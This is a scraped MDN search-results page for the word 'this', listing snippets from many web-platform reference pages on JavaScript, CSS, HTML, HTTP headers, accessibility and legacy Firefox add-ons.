this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
...
this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data.
... var formdata = new formdata(someformelement); for example: var formelement = document.queryselector("form"); var request = new xmlhttprequest(); request.open("post", "submitform.php"); request.send(new formdata(formelement)); you can also append additional data to the formdata object between retrieving it from a form and sending it, like
this: var formelement = document.queryselector("form"); var formdata = new formdata(formelement); var request = new xmlhttprequest(); request.open("post", "submitform.php"); formdata.append("serialnumber", serialnumber++); request.send(formdata);
this lets you augment the form's data before sending it along, to include additional information that's not necessarily user-editable.
...And 7 more matches
HTMLImageElement.sizes - Web APIs
this provides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions.
... example in
this example, a blog-like layout is created, displaying some text and an image which for which three size points are specified, depending on the width of the window.
...the browser takes all of
this information and selects an image and width that best meets the specified values.
...And 7 more matches
HTMLImageElement.srcset - Web APIs
this is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used.
... space characters, other than the whitespace separating the url and the corresponding condition descriptor, are ignored;
this includes both leading and trailing space, as well as space before or after each comma.
...
this is written by stating the pixel density as a positive, non-zero floating-point value followed by the lower-case letter "x".
...And 7 more matches
The HTML DOM API - Web APIs
html dom concepts and usage in
this article, we'll focus on the parts of the html dom that involve engaging with html elements.
...
this expands the element class to add html-specific general features to the element nodes.
...
this way, the structural features implemented by the node interface are also available to html elements, allowing them to be nested within each other, created and deleted, moved around, and so forth.
...And 7 more matches
IDBObjectStore.createIndex() - Web APIs
note that
this method must be called only from a versionchange transaction mode callback.
... note:
this feature is available in web workers.
... locale currently firefox-only (43+),
this allows you to specify a locale for the index.
...And 7 more matches
IDBObjectStore.put() - Web APIs
this is for adding new records, or updating existing records in an object store when the transaction's mode is readwrite.
... if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which
this object store is opened.
... note:
this feature is available in web workers.
...And 7 more matches
IndexedDB API - Web APIs
this api uses indexes to enable high-performance searches of
this data.
...
this is the main landing page for mdn's indexeddb coverage — here we provide links to the full api reference and usage guides, browser support details, and some explanation of key concepts.
... note:
this feature is available in web workers.
...And 7 more matches
KeyframeEffect.setKeyframes() - Web APIs
this is the canonical format returned by the getkeyframes() method.
... element.animate([ { opacity: 1, easing: 'ease-out' }, { opacity: 0.1, easing: 'ease-in' }, { opacity: 0 } ], 2000); in
this example, the specified easing only applies from the keyframe where it is specified until the next keyframe.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using
this format, the number of elements in each array does not need to be equal.
...And 7 more matches
KeyframeEffect - Web APIs
properties keyframeeffect.target gets and sets the element, or originating element of the pseudo-element, being animated by
this object.
...
this may be null for animations that do not target a specific element or pseudo-element.
... keyframeeffect.pseudoelement gets and sets the selector of the pseudo-element being animated by
this object.
...And 7 more matches
LockManager.request() - Web APIs
this applies to code in both tabs and workers.
... use
this to represent mutually exclusive access to a resource.
...
this shared/exclusive lock pattern is common in database transaction architecture, for example to allow multiple simultaneous readers (each requests a "shared" lock) but only one writer (a single "exclusive" lock).
...And 7 more matches
MediaSessionActionDetails - Web APIs
fastseek optional an seekto action may optionally include
this property, which is a boolean value indicating whether or not to perform a "fast" seek.
...
this property can be used to indicate that you should use the shortest possible method to seek the media.
... fastseek is not included on the final action in the seek sequence in
this situation.
...And 7 more matches
MediaTrackSettings - Web APIs
the device id is a origin-unique string identifying the source of the track;
this is usually a guid.
...
this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...
this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...And 7 more matches
Navigation Timing API - Web APIs
this article currently describes navigation timing level 1.
...
this api lets you measure data that was previously difficult to obtain, such as the amount of time needed to unload the previous page, how long domain lookups take, the total time spent executing the window's load handler, and so forth.
...while
this interface is defined by the high resolution time api, the navigation timing api adds two properties: timing and navigation, of the types below.
...And 7 more matches
Notification.requestPermission() - Web APIs
note:
this feature is available in web workers.
... note:
this feature is not available in sharedworker note: safari still uses the callback syntax to get the permission.
... read using the notifications api for a good example of how to feature detect
this and run code as appropriate.
...And 7 more matches
Pointer Lock API - Web APIs
method/properties overview
this section provides a brief description of each property and method related to the pointer lock specification.
...as it has recently unprefixed, you would currently declare it something like
this, for example if you wanted to request pointer lock on a canvas element: canvas.requestpointerlock = canvas.requestpointerlock || canvas.mozrequestpointerlock; canvas.requestpointerlock() if a user has exited pointer lock via the default unlock gesture, or pointer lock has not previously been entered for
this document, an event generated as a result of an engagement gesture must be received by the document before requestpointerlock will succeed.
...
this is a simple event and contains no extra data.
...And 7 more matches
RTCIceServer - Web APIs
objects of
this type are provided in the configuration of an rtcpeerconnection, in the iceservers array.
...
this is only used if the rtciceserver represents a turn server.
... credentialtype optional if the rtciceserver represents a turn server,
this attribute specifies what kind of credential is to be used when connecting.
...And 7 more matches
RTCPeerConnection.createAnswer() - Web APIs
syntax apromise = rtcpeerconnection.createanswer([options]); rtcpeerconnection.createanswer(successcallback, failurecallback[, options]); parameters options optional an object which contains options which customize the answer;
this is based on the rtcansweroptions dictionary.
... deprecated parameters in older code and documentation, you may see a callback-based version of
this function.
...
this has been deprecated and its use is strongly discouraged.
...And 7 more matches
Slottable - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...ternetslottable experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive):
this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...— 59disabled disabled until version 59 (exclusive):
this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 7 more matches
SubtleCrypto.encrypt() - Web APIs
gcm does provide built-in authentication, and for
this reason it's often recommended over the other two aes modes.
... aes-ctr
this represents aes in counter mode, as specified in nist sp800-38a.
... aes-cbc
this represents aes in cipher block chaining mode, as specified in nist sp800-38a.
...And 7 more matches
SubtleCrypto.unwrapKey() - Web APIs
this means that it takes as its input a key that has been exported and then encrypted (also called "wrapped").
...
this is sometimes called the "unwrapping key".
... unwrapping a "raw" key in
this example we unwrap an aes-gcm symmetric key.
...And 7 more matches
WebRTC Statistics API - Web APIs
in
this example, a new rtcpeerconnection is created, and then setinterval() is used to set the function getconnectionstats() to be called every second.
...
this object contains a map of named dictionaries based on rtcstats and its affiliated types.
...
this example specifically looks for the report whose type is inbound-rtp and whose kind is video.
...And 7 more matches
Privileged features - Web APIs
this page lists the windowfeatures parameter of window.open function that requires chrome-privilege in firefox.
...
this is not for web content.
... minimizable
this setting can only apply to dialog windows; minimizable requires dialog=yes.
...And 7 more matches
Sending and Receiving Binary Data - Web APIs
this is null if the request is not complete or was not successful.
...
this example reads an image as a binary file and creates an 8-bit unsigned integer array from the raw bytes.
... note that
this will not decode the image and read the pixels.
...And 7 more matches
XRReferenceSpace - Web APIs
for xr systems that allow the user to physically move around, such as those that track movement with a real-world camera,
this boundary establishes the edges of the area the user is able to move around in, whether due to physical obstacles or due to limitations of the xr hardware.
... properties in addition to the properties inherited from xrspace (of which there are none at
this time), xrreferencespace also inherits the properties of eventtarget.
... methods in addition to the methods inherited from its parent interface, xrspace (there are none at
this time), xrreferencespace inherits methods from eventtarget.
...And 7 more matches
XRSession.updateRenderState() - Web APIs
this is null by default.
...
this is 1000 meters (1 kilometer) by default.
...no part of the scene on the viewer's side of
this plane will be rendered.
...And 7 more matches
XRView - Web APIs
this allows the two views, when projected in isolation into the appropriate eyes, to simulate a 3d world.
... properties eye read only which of the two eyes (left) or (right) for which
this xrview represents the perspective.
...
this value is used to ensure that any content which is pre-rendered for presenting to a specific eye is distributed or positioned correctly.
...And 7 more matches
ARIA live regions - Accessibility
aria live regions fill
this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies.
...
this attribute is by far the most important.
...any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive
this attribute.
...And 7 more matches
Using the link role - Accessibility
this technique demonstrates how to use the link role and describes the effect it has on browsers and assistive technology.
...when
this role is added to an element, tab can be used to change focus to the link, and enter used to execute the link.
... the tabindex attribute may optionally be used with
this role to directly specify the position of the element in the tab order.
...And 7 more matches
ARIA: application role - Accessibility
this role should only be used to define very dynamic and desktop-like web applications.
... <div role="application">...</div>
this defines
this div element and all of its descendants to be treated like they are part of a desktop application.
... description the application role indicates to assistive technologies that
this part of the web content contains elements that do not conform to any other known html element or wai-aria widget.
...And 7 more matches
WAI-ARIA Roles - Accessibility
this page lists reference pages covering all the wai-aria roles discussed on mdn.
...
this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website.
...
this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a response when activated by the user.
...And 7 more matches
-moz-image-rect - CSS: Cascading Style Sheets
description
this property allows you to, for example, use different parts of one larger image as backgrounds in different parts of your content.
...
this works very similarly to the -moz-image-region property, which is used with the list-style-image property to use parts of an image as the bullets in lists.
... however,
this can be used for any css background.
...And 7 more matches
::slotted() - CSS: Cascading Style Sheets
this only works when used inside css placed within a shadow dom.
... note also that
this selector won't select a text node placed into a slot; it only targets actual elements.
... in
this demo we use a simple template with three slots: <template id="person-template"> <div> <h2>personal id card</h2> <slot name="person-name">name missing</slot> <ul> <li><slot name="person-age">age missing</slot></li> <li><slot name="person-occupation">occupation missing</slot></li> </ul> </div> </template> a custom element — <person-details> — is defined like so...
...And 7 more matches
Coordinate systems - CSS: Cascading Style Sheets
this fixed point is called the origin.
...
this guide describes the standard coordinate systems used by the css object model.
...note that
this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin.
...And 7 more matches
CSS Containment - CSS: Cascading Style Sheets
this document describes the basic aims of the specification.
... article { contain: content; } each article is independent of the other articles on the page, and so they have been given contain: content in order to indicate to the browser that
this is the case.
... the browser can then use
this information to make decisions about how to render the content.
...And 7 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
in
this guide we will look at how well flexbox is supported in browsers, and look at some potential issues, resources and methods for creating workarounds and fallbacks.
...as a candidate recommendation we should not see large changes at
this point to the spec, however
this has not been the case with past flexbox iterations.
... there was an update to the spec that updated the syntax to display: flexbox —
this was again vendor-prefixed.
...And 7 more matches
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
in
this guide, we look at how flow layout behaves when used with different document writing modes.
...
this is not a comprehensive guide to the use of writing modes in css, the aim here is to document the areas where flow layout interacts with writing modes in possibly unanticipated ways.
... the external resources and see also sections of
this document link to more writing modes resources.
...And 7 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
this article introduces the concept of formatting contexts, of which there are several types, including block formatting contexts, inline formatting contexts, and flex formatting contexts.
...
this means that every element inside the <html> element's block is laid out according to normal flow following the rules for block and inline layout.
...uding anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: flow-root or display: flow-root list-item elements with contain: layout, content, or strict flex items grid items multicol containers elements with column-span set to all
this is useful because a new bfc will behave much like the outermost document in that it becomes a mini-layout inside the main layout.
...And 7 more matches
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
this can be helpful in creating a more app-like experience on mobile or even on the desktop for some types of applications.
...
this could be x or y, or the logical mappings block or inline.
...
this means you can be confident that something you expect to be at the top of the screen will be when scrolling finishes.
...And 7 more matches
Shapes From Images - CSS: Cascading Style Sheets
in
this guide we will take a look at how we can create a shape from an image file with an alpha channel or even from a css gradient.
...
this is a very flexible way to create shapes.
...the shape-image-threshold property is used to set a threshold for
this opacity.
...And 7 more matches
<basic-shape> - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...for
this specification,
this results in an empty float area.
...
this defaults to center if omitted.
...And 7 more matches
ime-mode - CSS: Cascading Style Sheets
this property is obsolete.
...
this property should only be used for private web applications or to undo the property if it was previously set by legacy code.
...
this is the default.
...And 7 more matches
revert - CSS: Cascading Style Sheets
this removes from the cascade all of the styles that have been overridden until the style being rolled back to is reached.
... if used within the user agent's default styles,
this keyword is functionally equivalent to unset.
...unset will keep the text normal because
this is an initial value for font-weight property.
...And 7 more matches
Event reference
this article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, mozilla-specific events are listed so that add-ons can use them to interact with the browser.
... emptied the media has become empty; for example,
this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
...for example,
this event is triggered if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
...And 7 more matches
DOM onevent handlers - Developer guides
this page focuses on how the latter work.
...
this continues until every handler has been called, unless one of the event handlers explicitly halts the processing of the event by calling stoppropagation() on the event object itself.
... html given
this html document: <p>demonstrating quirks of <code>on<em>event</em></code> html attributes on <a onclick="log('click!')">these three words</a>.
...And 7 more matches
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements;
this section lists them and provides some helpful information about using them.
... event name description abort sent when playback is aborted; for example, if the media is playing and is restarted from the beginning,
this event is sent.
...
this corresponds to the have_future_data readystate.
...And 7 more matches
Constraint validation - Developer guides
typemismatch constraint violation for both of these input types, if the multiple attribute is set, several values can be set, as a comma-separated list, for
this input.
...the constraint validation is done in the following ways: by a call to the checkvalidity() or reportvalidity() method of a form-associated dom interface, (htmlinputelement, htmlselectelement, htmlbuttonelement, htmloutputelement or htmltextareaelement), which evaluates the constraints only on
this element, allowing a script to get
this information.
...(
this is typically done by the user-agent when determining which of the css pseudo-classes, :valid or :invalid, applies.) in contrast, the reportvalidity() method reports any constraint failures to the user.
...And 7 more matches
User input and controls - Developer guides
this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
...
this is the code to request pointer lock on an element: element.requestpointerlock(); note: for a full tutorial and reference, read our pointer_lock_api page.
... screen orientation when screen orientation matters for your application, you can read the screen orientation state, be informed when
this state changes, and able to lock the screen orientation to a specific state (usually portrait or landscape) through the screen orientation api.
...And 7 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
this protects users from having private data exposed by using images to pull information from remote web sites without permission.
... storing an image from a foreign origin in
this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage.
... implementing
this requires configuring the server as well as writing code for the web site itself.
...And 7 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role term permitted aria roles any dom interface htmlelement attributes
this element's attributes include the global attributes.
...
this is shown in the first example below.
...And 7 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
by convention, the user agent defaults to rendering the contents of a <kbd> element using its default monospace font, although
this is not mandated by the html standard.
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...And 7 more matches
<option>: The HTML Option element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...the end tag is optional if
this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content.
... implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement attributes
this element includes the global attributes.
...And 7 more matches
Choosing between www and non-www URLs - HTTP
this page provides some advice on what's best.
...
this domain name is hosted on a server where the document resides.
...
this includes always linking to the chosen domain (which shouldn't be hard if you're using relative urls in your website) and always sharing links (by email/social networks, etc.) to the same domain.
...And 7 more matches
Basics of HTTP - HTTP
this article goes through its history and describes http/0.9, http/1.0, http/1.1, and the modern http/2, as well as novelties introduced over the years.
... separating identity and location of a resource: the alt-svc http header most of the time the identity and location of a web resource are shared,
this can be changed with the alt-svc header.
...
this article explains how
this is accomplished using the content-type header and the mime standard.
...And 7 more matches
Content Security Policy (CSP) - HTTP
this article explains how to construct such headers properly, and provides examples.
... specifying your policy you can use the content-security-policy http header to specify your policy, like
this: content-security-policy: policy the policy is a string containing the policy directives describing your content security policy.
... examples: common use cases
this section provides examples of some common security policy scenarios.
...And 7 more matches
Configuring servers for Ogg media - HTTP
this guide covers a few server configuration changes that may be necessary for your web server to correctly serve ogg media files.
...
this information may also be useful if you encounter other media types your server isn't already configured to recognize.
... most servers don't by default serve ogg media with the correct mime types, so you'll likely need to add the appropriate configuration for
this.
...And 7 more matches
Firefox user agent string reference - HTTP
this document describes the user agent string used in firefox 4 and later and applications based on gecko 2.0 and later.
...see also
this document on user agent sniffing and
this hacks blog post.
...for instance,
this could be "camino/2.1.1", or "seamonkey/2.7.1".
...And 7 more matches
X-Frame-Options - HTTP
sites can use
this to avoid click-jacking attacks, by ensuring that their content is not embedded into other sites.
... note: the content-security-policy http header has a frame-ancestors directive which obsoletes
this header for supporting browsers.
...the spec leaves it up to browser vendors to decide whether
this option applies to the top level, the parent, or the whole chain, although it is argued that the option is not very useful unless all ancestors are also in the same origin (see bug 725490).
...And 7 more matches
Concurrency model and the event loop - JavaScript
this model is quite different from models in other languages like c and java.
...
this offers some nice properties when reasoning about your program, including the fact that whenever a function runs, it cannot be pre-empted and will run entirely before any other code runs (and can modify data the function manipulates).
...
this differs from c, for instance, where if a function runs in a thread, it may be stopped at any point by the runtime system to run some other code in another thread.
...And 7 more matches
Default parameters - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is where default parameters can help.
... to guard against
this, something like the second line would be used, where b is set to 1 if multiply is called with only one argument: function multiply(a, b) { b = (typeof b !== 'undefined') ?
...And 7 more matches
getter - JavaScript
the source for
this interactive example is stored in a github repository.
...in javascript,
this can be accomplished with the use of a getter.
... examples defining a getter on new objects in object initializers
this will create a pseudo-property latest for object obj, which will return the last array item in log.
...And 7 more matches
Array.prototype.filter() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax let newarray = arr.filter(callback(element[, index, [array]])[,
thisarg]) parameters callback function is a predicate, to test each element of the array.
...
thisargoptional value to use as
this when executing callback.
...And 7 more matches
Array.prototype.forEach() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax arr.foreach(callback(currentvalue [, index [, array]])[,
thisarg]) parameters callback function to execute on each element.
...
thisarg optional value to use as
this when executing callback.
...And 7 more matches
Promise.all() - JavaScript
this returned promise will resolve when all of the input's promises have resolved, or if the input iterable contains no promises.
... it rejects immediately upon any of the input promises rejecting or non-promises throwing an error, and will reject with
this first rejection message / error.
... the source for
this interactive demo is stored in a github repository.
...And 7 more matches
Promise.prototype.then() - JavaScript
the source for
this interactive demo is stored in a github repository.
...
this function has one argument, the fulfillment value.
...
this function has one argument, the rejection reason.
...And 7 more matches
Proxy - JavaScript
for example,
this code defines a simple target with just two properties, and an even simpler handler with no properties: const target = { message1: "hello", message2: "everyone" }; const handler1 = {}; const proxy1 = new proxy(target, handler1); because the handler is empty,
this proxy behaves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the pr...
... examples basic example in
this simple example, the number 37 gets returned as the default value when the property name is not in the object.
... obj[prop] : 37; } }; const p = new proxy({}, handler); p.a = 1; p.b = undefined; console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 no-op forwarding proxy in
this example, we are using a native javascript object to which our proxy will forward all operations that are applied to it.
...And 7 more matches
TypedArray.from() - JavaScript
this method is nearly the same as array.from().
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.from(source[, mapfn[,
thisarg]]) where typedarray is one of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters source an array-like or iterable object to convert to a typed array.
...And 7 more matches
parseInt() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this argument is not a string, then it is converted to one using the tostring abstract operation.
... leading whitespace in
this argument is ignored.
...And 7 more matches
super - JavaScript
super.functiononparent([arguments]); description when used in a constructor, the super keyword appears alone and must be used before the
this keyword is used.
... examples using super in classes
this code snippet is taken from the classes sample (live demo).
... class rectangle { constructor(height, width) {
this.name = 'rectangle';
this.height = height;
this.width = width; } sayname() { console.log('hi, i am a ',
this.name + '.'); } get area() { return
this.height *
this.width; } set area(value) {
this._area = value; } } class square extends rectangle { constructor(length) {
this.height; // referenceerror, super needs to be called first!
...And 7 more matches
try...catch - JavaScript
the source for
this interactive example is stored in a github repository.
...
this gives us three forms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block.
... try { throw 'myexception'; // generates an exception } catch (e) { // statements to handle any exceptions logmyerrors(e); // pass exception object to error handler } the catch-block specifies an identifier (e in the example above) that holds the value of the exception;
this value is only available in the scope of the catch-block.
...And 7 more matches
var - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is called hoisting, and is discussed further below.
...
this means its property descriptor cannot be changed and it cannot be deleted using delete.
...And 7 more matches
MathML documentation index - MathML
2 authoring mathml beginner, mathml, mathml project
this page explains how to write mathematics using the mathml language.
... 4 mathml: deriving the quadratic formula beginner, education, example, guide, html5, mathml, needsbeginnerupdate
this page outlines the derivation of the quadratic formula.
... 5 proving the pythagorean theorem beginner, example, guide, html5 math, math education, mathml, needsbeginnerupdate we will now prove the pythagorean theorem: 6 mathml attribute reference mathml, mathml reference
this is an alphabetical list of mathml attributes.
...And 7 more matches
OpenSearch description format
this article focuses on creating opensearch-compatible search plugins that support these additional firefox features.
...http: and https: urls are converted to data: uris when
this is done.
...in firefox 63 onwards, type="application/json" is accepted as an alias of
this.
...And 7 more matches
operator - SVG: Scalable Vector Graphics
two elements are using
this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perfor...
... value over | in | out | atop | xor | lighter | arithmetic default value over animatable yes over
this value indicates that the source graphic defined in the in attribute is placed over the destination graphic defined in the in2 attribute.
... in
this value indicates that the parts of the source graphic defined in the in attribute that overlap the destination graphic defined in the in2 attribute, replace the destination graphic.
...And 7 more matches
Patterns - SVG: Scalable Vector Graphics
there are also x and y attributes available if you want to offset the start point of
this rectangle somewhere within your drawing.
...since, in
this case, we wanted the pattern to repeat 4 times horizontally and vertically, the height and width are set to 0.25.
...
this means the pattern's width/height is only 0.25 of the total box size.
...And 7 more matches
How to turn off form autocompletion - Web security
this article explains how a website can disable autocomplete for form fields.
...
this enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has started typing in) or autofill (that is, pre-populate certain fields upon load).
...
this means that the criterion can be passed (by adding the relevant autocomplete attributes to individual form fields) even when autocompletion for the form itself has been turned off.
...And 7 more matches
Communicating With Other Scripts - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scripts.
...
this section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
...
this is true as long as both context scripts have direct access to the same dom objects.
...And 6 more matches
self - Archive of obsolete content
globals properties uri
this property represents an add-on associated unique uri string.
...
this uri can be used for apis which require a valid uri string, such as the passwords module.
... id
this property is a printable string that is unique for each add-on.
...And 6 more matches
simple-storage - Archive of obsolete content
this module works similarly to dom storage on the web, except that it's only available for add-ons.
... be careful to set properties on the storage object and not the module itself, as demonstrated below: //
this is not good!
... the easiest solution to
this problem is to use the --profile option to jpm with a path to a profile - not just a profile name.
...And 6 more matches
Add a Context Menu Item - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
...you should see the new item appear: click it, and the selection is logged to the console (or the shell, if you're running an instance of firefox from the command line): info: elephantine lizard details all
this add-on does is to construct a context menu item.
...the constructor in
this case takes four options: label, context, contentscript, and onmessage.
...And 6 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
... here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run
this example, save an icon file named "icon-16.png" in add-on's "data" directory.
... you could download
this icon: .
...And 6 more matches
Sidebar - Archive of obsolete content
this page provides several snippets demonstrating how to work with the firefox sidebar.
...
this means that the function is available in all browser windows.
... you can use
this function to show, hide, or toggle sidebars.
...And 6 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
this means for example that javascript code top.location.href = "about:blank" will only unload the content document but won’t have any effect on the chrome.
... note:
this has really nothing to do with the source of the document.
...
this also means that you won’t be able to establish a security boundary between your extension and untrusted data if your extension opens as a tab in the browser — so displaying your extension in a browser tab is a bad choice.
...And 6 more matches
Appendix A: Add-on Performance - Archive of obsolete content
this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox.
... startup
this is the area where add-ons have the most noticeable impact.
...if there is, just use an nsitimer or the settimeout function to delay running
this code .
...And 6 more matches
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
this appendix covers these cases with simple code that should work for most add-ons.
...the best approach in
this case is to use a preference, as explained in the handling preferences section.
... } } in
this case you would need to declare the first run preference in your default preferences file, with a default value of false.
...And 6 more matches
Add-ons - Archive of obsolete content
extension etiquette
this article describes best practices when making extensions, including how to be kind to your users.
... hotfix extension
this document has been moved to the add-ons wiki.
...the user interface for the preferences defined with
this new syntax appears in the extension's detail view in the add-on manager.
...And 6 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support
this behavior.
... see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in
this regard.
... the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets,
this attribute specifies alternate text.
...And 6 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
this document presents the windows registry keys plugin installers can parse to determine where to install a given plugin (for mozilla browsers) on windows.
...
this information applies to mozilla based browsers that pull the mozilla codebase after the mozilla 0.9.1 milestone release.
...much of
this registry data follows as a consequence of the discussions in bug 109402.
...And 6 more matches
Drag and Drop Example - Archive of obsolete content
an example of implementing drag and drop will be implemented in
this section.
...
this buttons will respond to the draggesture event and start a drag.
...
this is a made-up attribute.
...And 6 more matches
Hidden prefs - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this page has been flagged by editors or users as needing technical review.
... address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for
this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane.
...And 6 more matches
importUserCertificates - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... deprecated
this feature has been removed from the web standards.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of
this page to guide your decision.
...And 6 more matches
Tuning Pageload - Archive of obsolete content
this document explains which preferences to tweak to affect your pageload time.
... nglayout.initialpaint.delay
this is a preference that specifies a delay, in milliseconds, after the data from the server has started coming in.
... during
this delay, the page that's coming in is not painted, unless it ends up fully loaded before the delay expires.
...And 6 more matches
Using Breakpoints in Venkman - Archive of obsolete content
this article continues a series of articles on venkman that began with venkman introduction.
...
this article describes breakpoints in javascript and how to use venkman to set and examine breakpoints.
...except for
this distinction, breakpoints in venkman work like breakpoints in most other debuggers.
...And 6 more matches
XML in Mozilla - Archive of obsolete content
this page is outdated.
...
this feature is used mainly to localize mozilla to different languages (the ui strings are stored in external dtd files).
...mozilla will read internal (dtd) subsets, and in special circumstances external dtds as explained above and will use
this information to recognize id type attributes, default attribute values, and general entities.
...And 6 more matches
Working With Directories - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...for instance: var dir2 = io.getfile("desktop", "myfiles"); dir2.append("pictures"); dir2.append("vacations"); in
this example, a subdirectory several levels down is referenced.
...see creating directories below for information about
this.
...And 6 more matches
Special per-platform menu considerations - Archive of obsolete content
this menu contains a number of items that pertain to the application.
... for instance,
this is the proper place to put the menu items which open the application preferences and which quit the application.
...
this can be accomplished by ensuring that certain common ids are set for the menu items that need to be placed on the application menu.
...And 6 more matches
Bindings - Archive of obsolete content
to do
this all we need to do is add the necessary data to the rdf datasource and add another <triple> element to the template's statements.
...
this may mean the description is not known, or that it wasn't filled in by the user.
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="view from the top of the tower looking east of the doges palace"/> if you try a full example based on
this data, you will notice that only one result has been generated.
...And 6 more matches
Grids - Archive of obsolete content
this should be easier to understand with an example.
...
this is because of the flex attributes added to the textboxes and the second column.
...if you do
this, the rows are just declared to specify how many rows there are.
...And 6 more matches
Input Controls - Archive of obsolete content
textbox.type you can set
this attribute to the special value password to create a textbox that hides what it types.
...
this is usually used for password entry fields.
...in xul, you can use the textbox element for
this purpose as well -- two separate elements are not necessary.
...And 6 more matches
Introduction - Archive of obsolete content
next »
